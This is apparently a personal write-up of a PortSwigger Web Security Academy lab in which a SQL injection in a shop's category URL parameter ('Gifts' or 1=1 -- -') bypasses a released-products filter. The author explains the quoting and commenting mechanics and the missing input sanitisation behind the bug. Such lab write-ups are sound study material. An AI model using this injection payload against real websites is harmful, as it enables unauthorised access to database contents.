| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Difficulty | Apprentice |
| Vulnerability | SQL Injection — WHERE Clause Filter Bypass |
| Injection Point | category URL parameter |
| Goal | Return all products including unreleased ones |
SQL Injection: WHERE Clause Filter Bypass¶
Information Gathering¶
The target was a shopping site displaying products by category.
Selecting a category changed the URL to reflect the chosen filter:
web-security-academy.net/filter?category=Gifts
Web Enumeration¶
I appended a single quote to the category parameter and the application broke:
web-security-academy.net/filter?category=Gifts'
The resulting malformed query made the injection point obvious:
SELECT * FROM products WHERE category = 'Gifts'' AND released = 1
Initial Access¶
With the injection point confirmed, I injected OR 1=1 -- - to collapse the WHERE clause:
web-security-academy.net/filter?category=Gifts' or 1=1 -- -
The application returned all products, including unreleased ones.
The reason the ' goes after Gifts and nowhere else is simple: that's where we are inside the query. The application builds the query by wrapping our input in quotes:
... WHERE category = '[OUR INPUT]' AND released = 1
Typing Gifts' closes the string with our own quote, leaving the application's hardcoded closing quote as a stray character that breaks syntax:
-- Our ' closes the string here ↓
WHERE category = 'Gifts' ' AND released = 1
-- ↑ this stray quote breaks the syntax
Adding OR 1=1 -- - then makes the condition always true and comments out everything after — including the stray quote and AND released = 1:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1 -- -' AND released = 1
-- ↑ everything after -- is ignored
The -- - form (double dash + space + dash) is used instead of bare -- because some servers strip trailing spaces. The extra - keeps the comment valid across configurations.
Conclusion¶
- The
categoryparameter was directly interpolated into a SQL query with no sanitization. - A single
'broke the query and confirmed injectable input — the error exposed the query structure. OR 1=1 -- -escaped the string context, injected an always-true condition, and commented out thereleased = 1filter.- The database returned every product row regardless of release status.
The filter bypass worked because the application never validated or escaped user input before embedding it in SQL — we didn't modify the end of the query, we escaped out of the string the application opened for us.